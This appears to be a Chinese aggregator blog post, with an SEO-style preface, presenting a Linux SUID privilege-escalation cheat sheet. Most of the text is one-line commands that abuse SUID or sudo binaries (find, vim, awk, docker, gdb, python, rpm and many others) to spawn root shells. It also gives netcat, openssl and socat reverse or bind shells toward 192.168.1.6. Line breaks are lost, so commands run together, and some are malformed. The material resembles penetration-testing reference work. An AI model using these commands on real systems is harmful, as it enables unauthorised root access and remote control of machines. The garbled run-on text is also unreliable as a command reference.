前言:
此时你们对“opensslphp”大约比较关注,各位老铁们都需要了解一些“opensslphp”的相关内容。那么小编同时在网络上搜集了一些有关“opensslphp””的相关文章,希望咱们能喜欢,小伙伴们快快来学习一下吧!Linux系统SUID提权
今天给大家分享的是SUID提权,也是linux中常用的提权方法,那SUID到底是什么,又是如何提权的。
SUID概念
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义,在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件XINO,其属主为root,当我们通过非root用户登录时,如果XINO设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。
利用此特性,我们可通过SUID进行提权
设置SUID权限命令:
chmod u+s filename 设置SUID位chmod u-s filename 去掉SUID设置
提权命令
nmap vimfindbashmorelessnanocpawknicedockerenvexpectflockftpgdbgimpgitioniceipkshlogsavemakemanopensslphppythonrpmrsyncrvimsetarchsocatsshstracestdbuftasksettclshtimetimeoutwatchxargszshfind 使用方法
如果find 以SUID权限运行,所有通过find 执行的命令都会以root 权限运行
find / -user root -perm -4000 print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null find . -exec whoamifind / -user root -perm -4000 -exec ls -ldb {} ;cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下find xxx -exec whoami ;find xxx -exec /bin/sh ; 利用find得到一个root权限的shellfind xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shellvim 使用方法
vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:可以读取系统中所有的文件
vim/vi# Press ESC key:set shell=/bin/sh:shellmsf 中也有相关的模块
msf6> search exploit/unix/local/setuid_nmapbash
bash -p># idless/more
less /etc/passwd!/bin/shnano编辑器提权
nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:
nanoCtrl + RCtrl + X即可进入命令行:set shell=/bin/shed提权
我们将利用ed命令执行提权操作。为此,我们需要设置具有管理权限的ed command lab。然后,我们将查看获取sudo权限后对它的影响,以及我们如何更多地将其用于提权。
test All=(root) NOPASSWD: /bin/edssh test@192.168.1.31sudo -lsudo edawk提权
AWK, 数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出。我们可以通过以下方式进行命令执行:
awk 'BEGIN {system("whoami")}'nice
以更改过的优先序来执行程式, 简单来说就是修改程序的优先级,输入下面的命令进行提权:
nice /bin/sh -p
docker
输入下面的命令进行提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt shenv命令提权
输入下面的命令进行提权:
env /bin/sh -pexpect
输入下面的命令进行提权:
expect -c 'spawn /bin/sh -p;interact'flock
输入下面的命令进行提权:
flock -u / /bin/sh -pftp
输入下面的命令进行提权:
ftp!/bin/sh -pgdb
输入下面的命令进行提权:
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quitgimp
输入下面的命令进行提权:
gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'git
git help status //在底行输入“!/bin/sh -p”ionice
ionice /bin/sh -pip
ip netns add fooip netns exec foo /bin/sh -pip netns delete fooksh
ksh -plogsave
logsave /dev/null /bin/sh -i -pmake
COMMAND='/bin/sh -p'make -s --eval=$'x:\n\t-'"$COMMAND"man
man man //在底行输入"!/bin/sh -p"openssl
首先在攻击者的机器上运行下面的命令以接收连接:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345之后在CentOS服务器上执行下面的命令:RHOST=192.168.1.6RPORT=12345mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/sphp
CMD="/bin/sh"php -r "pcntl_exec('/bin/sh', ['-p']);"python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'rpm
rpm --eval '%{lua:os.execute("/bin/sh -p")}'rsync
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/nullrvim
rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'setarch
setarch $(arch) /bin/sh -psocat
攻击者首先在自己的计算机启动对TCP 8888端口的监听socat file:'/dev/tty',raw,echo=0 tcp-listen:8888服务器通过socat发起连接:socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr攻击者得到shell:ssh
ssh -o ProxyCommand=';sh -p 0<&2 1>&2' xstrace
strace -o /dev/null /bin/sh -pstdbuf
stdbuf -i0 /bin/sh -ptaskset
taskset 1 /bin/sh -ptclsh
tclshexec /bin/sh -p <@stdin >@stdout 2>@stderrtime
time /bin/sh -ptimeout
timeout 7d /bin/sh -pwatch
watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'无法显示执行的命令,但是可以看到执行结果。提权成功,得到了root shell。xargs
xargs -a /dev/null sh -pzsh
zsh
标签: #opensslphp